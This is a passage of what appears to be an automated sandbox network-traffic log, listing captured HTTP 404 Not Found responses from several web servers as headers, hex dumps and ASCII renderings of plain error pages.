74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-117.ec2.internalX-Request-Id: 0809a905-3e9a-44dc-8e7b-9846c682d50aData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-133.ec2.internalX-Request-Id: bc230627-bd1b-46ec-9823-cdff25e1e0bbData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 26 Nov 2023 05:55:02 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 184Content-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e cd 0e 82 30 10 84 ef 7d 8a 95 bb 2c 1a 8e 4d 0f f2 13 49 10 89 29 07 8f 98 d6 94 04 28 b6 45 e3 db 4b e1 e2 71 76 e6 9b 59 ba 4b af 09 bf d7 19 9c f9 a5 84 ba 39 95 45 02 c1 1e b1 c8 78 8e 98 f2 74 73 8e 61 84 98 55 01 23 54 b9 a1 67 54 c9 56 2c c2 75 ae 97 2c 8e 62 a8 b4 83 5c cf a3 a0 b8 1d 09 c5 35 44 1f 5a 7c 3d 77 60 7f 99 45 11 3a 31 ae 24 18 f9 9a a5 75 52 40 73 2b 01 5b 31 74 63 67 9d 69 9d 36 08 9f d6 c2 b8 70 4f cf 81 1e c1 a9 ce 82 95 e6 2d 4d 48 71 f2 3b eb c2 d2 e9 3f 23 3f 1d 55 df e9 d4 00 00 00 Data Ascii: M0},MI)(EKqvYK9ExtsaU#TgTV,u,b\5DZ\|=w`E:1$uR@s+[1tcgi6pO-MHq;?#?U
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTServer: ApacheLast-Modified: Thu, 24 Oct 2019 19:33:13 GMTETag: "1e8-595ad1aad5040"Accept-Ranges: bytesContent-Length: 488Content-Type: text/htmlData Raw: 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 74 2d 62 72 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 50 e1 67 69 6e 61 20 4e e3 6f 20 45 6e 63 6f 6e 74 72 61 64 61 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 41 72 69 61 6c 22 20 73 69 7a 65 3d 22 33 22 3e 45 72 72 6f 20 34 30 34 3c 2f 66 6f 6e 74 3e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 4d 53 20 53 61 6e 73 20 53 65 72 69 66 22 20 73 69 7a 65 3d 22 32 22 3e 50 e1 67 69 6e 61 20 6e e3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Language" content="pt-br"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Pgina No Encontrada</title></head><body><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"><b><font face="Arial" size="3">Erro 404</font></b></p><p align="center"><font face="MS Sans Serif" size="2">Pgina no encontrada</font></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1699Content-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 191Content-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 39 0e c2 30 10 45 7b 9f 62 48 4f 26 20 4a cb 05 24 88 48 61 11 32 05 65 90 07 d9 12 b1 83 ed b0 dc 1e 07 1a ca bf cc fb c3 27 e5 7e 25 cf 87 0a 36 72 db c0 e1 b4 6c ea 15 64 53 c4 ba 92 6b c4 52 96 bf 64 9e 17 88 d5 2e 13 8c eb d8 dd 04 d7 d4 aa 24 a2 89 37 12 8b 62 01 3b 17 61 ed 06 ab 38 fe 4c c6 f1 5b e2 17 a7 de e3 dd 4c fc 75 92 62 bc 17 52 13 78 ba 0f 14 22 29 38 1d 1b c0 56 75 c6 9a 10 7d 1b 9d 47 63 15 bd f2 5e f7 f0 6c 03 d8 04 b8 8e 00 70 16 a2 36 01 02 f9 07 f9 9c 63 3f 0e 7e a7 12 7c 7c 91 7d 00 cc 66 b7 ab dd 00 00 00 Data Ascii: M90E{bHO& J$Ha2e'~%6rldSkRd.$7b;a8L[LubRx")8Vu}Gc^lp6c?~\|\|}f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-165.ec2.internalX-Request-Id: 81a04949-9058-4c59-ab6f-5d3f787a9479Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTServer: ApacheVary: accept-language,accept-charset,User-AgentAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Content-Language: enData Raw: 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 33 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 62 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 3e 77 65 62 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 26 Nov 2023 05:55:02 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://samson.pe/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:30 GMTserver: LiteSpeedData Raw: 32 32 63 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 7d 5b 77 db 38 92 f0 b3 7d ce fc 07 84 39 b1 a5 6e de 25 f9 22 5b ea 71 d2 9e de ec a6 3b 99 38 d9 39 bb 49 4e 0e 44 42 12 12 92 60 03 a0 65 b5 5b 3f 66 1f f7 79 df f6 b5 ff d8 9e 02 78 13 4d c9 8e ed 9e ef cb 4c cb 24 50 a8 2a 14 aa 0a f7 e2 e9 93 90 05 72 99 12 34 97 71 34 de 3d 85 3f 28 c2 c9 6c 64 10 61 bd 39 37 20 8d e0 70 bc bb 73 1a 13 89 51 30 c7 5c 10 39 32 de bf fb 9b 75 64 94 e9 09 8e c9 c8 b8 a4 64 91 32 2e 0d 14 b0 44 92 44 8e 8c 05 0d e5 7c 14 92 4b 1a 10 4b bd 98 88 26 54 52 1c 59 22 c0 11 19 79 0a 4b 44 93 af 88 93 68 64 a4 9c 4d 69 44 0c 34 e7 64 3a 32 e6 52 a6 62 e8 38 b3 38 9d d9 8c cf 9c ab 69 e2 78 50 a8 e0 49 d1 de e7 6c c2 a4 d8 2f 29 ef 27 8c 26 21 b9 32 d1 94 45 11 5b ec 23 47 15 79 62 59 e8 dd 9c 0a 24 a8 24 88 0a c4 52 49 63 fa 1b 09 d1 82 ca 39 92 73 82 fe 83 61 21 d1 c5 f9 6b 94 46 d9 8c 26 e8 d2 f7 ec 01 b2 50 c1 cc 12 00 ec 80 c5 ce 82 f1 30 e5 44 08 47 83 0a 47 10 e6 20 cb 02 d1 48 2a 23 32 7e f3 c7 7f cd 68 82 51 c2 10 49 40 30 1c 87 18 59 e8 02 c7 82 25 e8 05 a4 b0 48 a0 37 84 ff f1 bf a7 8e 2e 54 54 2e e5 2c 25 5c 2e 47 06 9b 0d 23 06 12 ab 49 97 88 cf e7 17 06 d4 2c 6f 9f 35 70 85 a9 06 fd 4d 8c 6c c4 0a 72 fb 0c 32 af 61 6e ad 4a 8e 41 04 9c a6 12 81 9a 8d 0c 9c a6 11 0d b0 a4 2c 71 a2 f0 fb 2f 82 25 06 0a 22 2c c4 c8 50 42 b5 44 30 27 31 b6 66 1c a7 73 63 7c 6d fc 55 a9 d2 95 34 86 a5 2a 68 10 50 06 c3 34 fe aa 21 87 1f ae 8d bf 02 0d 63 68 fc 83 4c 2e a8 24 90 49 c3 7a 39 25 70 3b 25 ce d3 05 99 40 3d 0c d3 c8 78 d4 0a 62 98 86 aa e4 d0 68 af 9c 69 84 44 57 8d b2 c4 18 1a 86 69 a4 d9 24 a2 62 4e b8 31 bc de 4c 9a f1 19 4e e8 6f 4a 06 c6 ca 34 52 06 96 42 71 74 16 80 58 8c 7a 4d 2e 08 e6 c1 3c cf 30 0d 89 f9 8c 48 85 3d af ea 79 22 f9 f2 0d a3 89 d4 55 79 47 e2 34 c2 12 a4 50 e8 aa 28 6b fd 83 18 5d 0b 85 f1 b3 24 3c fe 2c 24 a7 c9 6c 05 4c fc 9a 11 be b4 68 92 66 20 68 4e 7e cd 28 27 21 52 a6 75 b3 88 b1 fa 64 1a 34 79 85 93 59 86 67 40 4c 7b 8b 95 59 35 c2 eb 7a 35 b7 b4 c4 9a 38 6e 95 f9 96 d6 8a d8 8c d5 45 f3 32 c6 33 f2 7a f2 85 04 20 9b 16 6e b7 30 e5 68 15 73 00 a7 43 01 91 b3 45 55 16 a9 95 fb 3b 27 4b 23 86 43 e1 f8 ae ef 3b ee 81 42 60 15 2d 90 80 be e6 90 ef 37 a8 dd 37 e1 52 fe d4 18 1e bb a6 31 27 74 36 97 fa 39 c0 a9 d6 a4 0d aa bb 32 0d 55 a7 ad 6a da 26 82 95 69 08 1c 93 33 61 0c 3f 94 fa b5 58 2c ec 25 cb 64 36 21 ca 23 66 82 70 e7 e2 ec e7 8b d7 bf fc f4 f6 f5 fb 37 c6 a7 d5 a7 d5 a9 a3 6d 05 1c 15 78 60 e7 86 8f b5 95 cf dc dd 3d 2d 7b 82 fd 30 11 56 ca c9 94 c8 60 be af bb 83 7d c7 01 7a 33 c6 66 11 91
